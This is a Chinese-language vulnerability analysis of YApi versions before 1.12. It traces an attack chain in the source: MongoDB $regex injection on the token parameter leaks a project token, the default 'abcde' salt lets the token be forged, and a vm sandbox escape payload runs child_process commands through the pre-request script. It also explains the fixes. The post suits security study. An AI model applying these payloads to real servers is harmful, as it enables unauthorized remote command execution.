YApi远程命令执行漏洞分析

YApi<1.12版本下通过MongoDB的盲注拿到Token后进行RCE的漏洞分析

漏洞简介

漏洞描述:远程未授权的攻击者可通过注入漏洞获取有效用户token,进而利用自动化测试接口绕过沙箱限制,最终在目标系统上执行任意命令

  1. YApi 1.11.0版本已修复Mongo注入获取Token的问题,导致攻击者无法在未授权的情况下利用此漏洞。

  2. 在YApi 1.12.0的版本更新中,仅默认禁用了Pre-request和Pre-response脚本功能,使得此漏洞在默认配置下无法利用。

影响版本:YApi < 1.12.0

参考链接:https://github.com/YMFE/yapi/commit/59bade3a8a43e7db077d38a4b0c7c584f30ddf8c?diff=split

漏洞分析

环境搭建

这里根据官网文档来操作即可,这里我选择的是1.10的版本

https://github.com/YMFE/yapi/releases/tag/v1.10.2

环境搭建的大概步骤,注意在此之前保证你开启了MongoDB

1
2
3
4
5
6
7
8
9
mkdir yapi 
cd yapi 
git clone https://github.com/YMFE/yapi.git vendors 
cp vendors/config_example.json ./config.json // ⚠️  复制完成后把内容修改为 config.json
cd vendors 
rm package-lock.json // ⚠️ 一定要删除 package-lock.json 
npm install --production --registry https://registry.npm.taobao.org 
npm run install-server 
node server/app.js 

image-20221202020219406

image-20221202020244201

这里构建好目录结构为这样

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|-- config.json
|-- init.lock
|-- log
`-- vendors
    |-- CHANGELOG.md
    |-- LICENSE
    |-- README.md
    |-- client
    |-- common
    |-- config_example.json
    |-- doc
    |-- exts
    |-- nodemon.json
    |-- npm-debug.log
    |-- package.json
    |-- plugin.json
    |-- server
    |-- static
    |-- test
    |-- webpack.alias.js
    |-- yapi-base-flow.jpg
    |-- ydocfile.js
    `-- ykit.config.js

漏洞分析

通过漏洞的描述我们可以知道,入手点是:Mongo注入获取Token的,最后的结果是RCE

RCE

我们从后往前来推,首先看看这个RCE是如何实现的,从修复点入手,他默认禁用了Pre-request和Pre-response脚本功能,使得此漏洞在默认配置下无法利用

可以看到这里common/postmanLib.js的修复,加强了两个判断

image-20221202161650902

我们追踪到他的功能点,是在项目的请求配置里,我们debug一下修改这个内容会进入到哪里

image-20221202162839070

可以很清楚的看到路由是/api/project/up和他POST传入的参数

image-20221202162941231

在common.js中,他识别出project的up

image-20221202163136930

进入controllers/project的up方法,因为我们是直接登录进后台去修改的,所以只需要传入

1
2
3
4
{
  "id": 11,
  "pre_script": "123"
}

这里的鉴权是能直接通过的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
  async up(ctx) {
    try {
      let id = ctx.request.body.id;
      let params = ctx.request.body;

      params = yapi.commons.handleParams(params, {
        name: 'string',
        basepath: 'string',
        group_id: 'number',
        desc: 'string',
        pre_script: 'string',
        after_script: 'string',
        project_mock_script: 'string'
      });

      if (!id) {
        return (ctx.body = yapi.commons.resReturn(null, 405, '项目id不能为空'));
      }

      if ((await this.checkAuth(id, 'project', 'danger')) !== true) {
        return (ctx.body = yapi.commons.resReturn(null, 405, '没有权限'));
      }

      let projectData = await this.Model.get(id);

      if (params.basepath) {
        if ((params.basepath = this.handleBasepath(params.basepath)) === false) {
          return (ctx.body = yapi.commons.resReturn(null, 401, 'basepath格式有误'));
        }
      }

      if (projectData.name === params.name) {
        delete params.name;
      }

      if (params.name) {
        let checkRepeat = await this.Model.checkNameRepeat(params.name, params.group_id);
        if (checkRepeat > 0) {
          return (ctx.body = yapi.commons.resReturn(null, 401, '已存在的项目名'));
        }
      }

      let data = {
        up_time: yapi.commons.time()
      };

      data = Object.assign({}, data, params);

      let result = await this.Model.up(id, data);
      let username = this.getUsername();
      yapi.commons.saveLog({
        content: `<a href="/user/profile/${this.getUid()}">${username}</a> 更新了项目 <a href="/project/${id}/interface/api">${
          projectData.name
        }</a>`,
        type: 'project',
        uid: this.getUid(),
        username: username,
        typeid: id
      });
      yapi.emitHook('project_up', result).then();
      ctx.body = yapi.commons.resReturn(result);
    } catch (e) {
      ctx.body = yapi.commons.resReturn(null, 402, e.message);
    }
  }

他会继续往后面走,执行models/project.js里面的up方法

image-20221202164008841

把pre_script更新进去

image-20221202164113471

那么执行这个脚本的地方在哪里呢,网站都已经给出了api

image-20221202172903048

这里我们去route找到相关的方法定义runAutoTest

image-20221202172959122

再往下跟,可以发现这个api是需要我们传入token和id的,这样才能指定到那个项目的测试内容

image-20221202173223849

然后就到我们的runAutoTest的方法了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
  async runAutoTest(ctx) {
    if (!this.$tokenAuth) {
      return (ctx.body = yapi.commons.resReturn(null, 40022, 'token 验证失败'));
    }
    // console.log(1231312)
    const token = ctx.query.token;

    const projectId = ctx.params.project_id;
    const startTime = new Date().getTime();
    const records = (this.records = {});
    const reports = (this.reports = {});
    const testList = [];
    let id = ctx.params.id;
    let curEnvList = this.handleEvnParams(ctx.params);

    let colData = await this.interfaceColModel.get(id);
    if (!colData) {
      return (ctx.body = yapi.commons.resReturn(null, 40022, 'id值不存在'));
    }

    let projectData = await this.projectModel.get(projectId);

    let caseList = await yapi.commons.getCaseList(id);
    if (caseList.errcode !== 0) {
      ctx.body = caseList;
    }
    caseList = caseList.data;
    for (let i = 0, l = caseList.length; i < l; i++) {
      let item = caseList[i];
      let projectEvn = await this.projectModel.getByEnv(item.project_id);

      item.id = item._id;
      let curEnvItem = _.find(curEnvList, key => {
        return key.project_id == item.project_id;
      });

      item.case_env = curEnvItem ? curEnvItem.curEnv || item.case_env : item.case_env;
      item.req_headers = this.handleReqHeader(item.req_headers, projectEvn.env, item.case_env);
      item.pre_script = projectData.pre_script;
      item.after_script = projectData.after_script;
      item.env = projectEvn.env;
      let result;
      // console.log('item',item.case_env)
      try {
        result = await this.handleTest(item);
      } catch (err) {
        result = err;
      }
      
     ......
     ......

前面都是对于id和token的验证,后面是从绑定的id和token中取出测试代码,然后进入handleTest执行

image-20221202174407815

这里面就会走进我们的crossRequest

image-20221202174443787

把脚本放进sandbox执行

image-20221202174518861

继续更进sandboxByNode

image-20221202174542003

这里就是一个vm2的逃逸,这里可以参考文章:https://xz.aliyun.com/t/11859#toc-6

1
2
3
4
5
6
7
8
9
function sandboxByNode(sandbox = {}, script) {
  const vm = require('vm');
  script = new vm.Script(script);
  const context = new vm.createContext(sandbox);
  script.runInContext(context, {
    timeout: 10000
  });
  return sandbox;
}

用这样的payload即可

1
constructor.constructor('return process')().mainModule.require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')

image-20221202175107069

但是这个漏洞完全体是未授权状态下的RCE,那么我们就需要实现这几个点

  1. 获取到id
  2. 获取到token
  3. 编辑脚本

编辑脚本我们知道可以通过/api/project/up路由进行编辑,但是上面我们能编辑是因为我们登录进了后台,鉴权能够通过,但是漏洞是如何在未授权的情况下进行的编辑呢,我再debug一下

如果我们退出登录,然后发一样的包,会被告知登录

image-20221202181155439

debug后发现,这里的inst.$auth === true判断或过不了,那就得追到前面init里面

image-20221202185900276

在base.js的init函数里面,首先判断路由是否在ignoreRouter里面,如果在就为true

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
  async init(ctx) {
    this.$user = null;
    this.tokenModel = yapi.getInst(tokenModel);
    this.projectModel = yapi.getInst(projectModel);
    let ignoreRouter = [
      '/api/user/login_by_token',
      '/api/user/login',
      '/api/user/reg',
      '/api/user/status',
      '/api/user/logout',
      '/api/user/avatar',
      '/api/user/login_by_ldap'
    ];
    if (ignoreRouter.indexOf(ctx.path) > -1) {
      this.$auth = true;
    } else {
      await this.checkLogin(ctx);
    }

    let openApiRouter = [
      '/api/open/run_auto_test',
      '/api/open/import_data',
      '/api/interface/add',
      '/api/interface/save',
      '/api/interface/up',
      '/api/interface/get',
      '/api/interface/list',
      '/api/interface/list_menu',
      '/api/interface/add_cat',
      '/api/interface/getCatMenu',
      '/api/interface/list_cat',
      '/api/project/get',
      '/api/plugin/export',
      '/api/project/up',
      '/api/plugin/exportSwagger'
    ];

    let params = Object.assign({}, ctx.query, ctx.request.body);
    let token = params.token;

    // 如果前缀是 /api/open,执行 parse token 逻辑
    if (token && (openApiRouter.indexOf(ctx.path) > -1 || ctx.path.indexOf('/api/open/') === 0 )) {
      
      let tokens = parseToken(token)

      const oldTokenUid = '999999'

      let tokenUid = oldTokenUid;

      if(!tokens){
        let checkId = await this.getProjectIdByToken(token);
        if(!checkId)return;
      }else{
        token = tokens.projectToken;
        tokenUid = tokens.uid;
      }
      ......
      ......
     

如果不在就判断是否在openApiRouter里面,显然我们的路由是在openApiRouter里面的,所以就会检测是否存在token,如果没有token,那么就inst.$auth = null返回

所以我们现在只要有token和id,那么就可以编辑对应项目的脚本了,那么我们的问题就缩小到只需要得到id和token

那么这里就是通过sql注入来获取了

SQL注入

首先是1.11.0对于MongoDB注入获取Token的修复,追踪到Github的commit

修复点在controllers/base.js

image-20221202021939389

在62行的判断里加了一个

1
typeof token === 'string' && 

那么显然我们得从token这个点进行注入了,通过debug来看看他对于token的处理

image-20221202194019745

首先进入parseToken,会进行一个aseDecode

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
const aseDecode = function(data, password) {
  /* 
   该方法使用指定的算法与密码来创建 decipher对象, 第一个算法必须与加密数据时所使用的算法保持一致;
   第二个参数用于指定解密时所使用的密码,其参数值为一个二进制格式的字符串或一个Buffer对象,该密码同样必须与加密该数据时所使用的密码保持一致
  */
  const decipher = crypto.createDecipher('aes192', password);

  /*
   第一个参数为一个Buffer对象或一个字符串,用于指定需要被解密的数据
   第二个参数用于指定被解密数据所使用的编码格式,可指定的参数值为 'hex', 'binary', 'base64'等,
   第三个参数用于指定输出解密数据时使用的编码格式,可选参数值为 'utf-8', 'ascii' 或 'binary';
  */
  let decrypted = decipher.update(data, 'hex', 'utf-8');

  decrypted += decipher.final('utf-8');
  return decrypted;
}; 

const defaultSalt = 'abcde';

exports.getToken = function getToken(token, uid){
  if(!token)throw new Error('token 不能为空')
  yapi.WEBCONFIG.passsalt = yapi.WEBCONFIG.passsalt || defaultSalt;
  return aseEncode(uid + '|' + token, yapi.WEBCONFIG.passsalt)
}

exports.parseToken = function parseToken(token){
  if(!token)throw new Error('token 不能为空')
  yapi.WEBCONFIG.passsalt = yapi.WEBCONFIG.passsalt || defaultSalt;
  let tokens;
  try{
    tokens = aseDecode(token, yapi.WEBCONFIG.passsalt)
  }catch(e){}  
  if(tokens && typeof tokens === 'string' && tokens.indexOf('|') > 0){
    tokens = tokens.split('|')
    return {
      uid: tokens[0],
      projectToken: tokens[1]
    }
  }
  return false;
  
}

如果没有解密出token,那么进入getProjectIdByToken

image-20221202194110042

进入findId方法,这里进行sql的操作,可以直接进行注入

image-20221202194132849

利用盲注直接跑:

1
{"id": 1, "token": {"$regex": ".*"}}

这样能绕过判断,进入up方法

image-20221202194324731

在up方法里,如果你传入的id与你的token不匹配,那么就会返回405,但是这却证明了你的token是成功查询了的,所以在注入token的阶段:成功返回405,失败返回40011

这样跑出aes加密前的token:018e812fb0740d881087

那么我们要获取能使用的token还得进行一个加密操作,通过上面的算法,我们可以知道,他的加密是这样实现的

1
aseEncode(uid + '|' + token, yapi.WEBCONFIG.passsalt)

这个passsalt默认为abcde,所以我们可以爆破一下,uid从0开始爆破即可

可以直接套用里面的nodejs来加密

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
const aseEncode = function(data, password) {

  // 如下方法使用指定的算法与密码来创建cipher对象
  const cipher = crypto.createCipher('aes192', password);

  // 使用该对象的update方法来指定需要被加密的数据
  let crypted = cipher.update(data, 'utf-8', 'hex');

  crypted += cipher.final('hex');

  return crypted;
};

得到加密后的token,并且同时也拿到了他的id

那么我们就可以利用id和token去写脚本,然后执行脚本了

漏洞修复

漏洞的修复也就做了两个工作

sql注入的修复

因为我们盲注的时候,token的值为{"$regex":".*?"}

这个传入到这里的时候是一个Object而并非字符串

image-20221202230436177

所以对他的修复限定他只能为字符串即可

image-20221202230508877

命令执行

这里命令执行并没有直接从代码层面去修复,这个功能任然保留,但是默认是关闭的,需要网站管理员通过配置文件的修改才能开启

image-20221202230623079

若有谬误,欢迎斧正

参考链接:https://github.com/YMFE/yapi/commit/59bade3a8a43e7db077d38a4b0c7c584f30ddf8c

Licensed under CC BY-NC-SA 4.0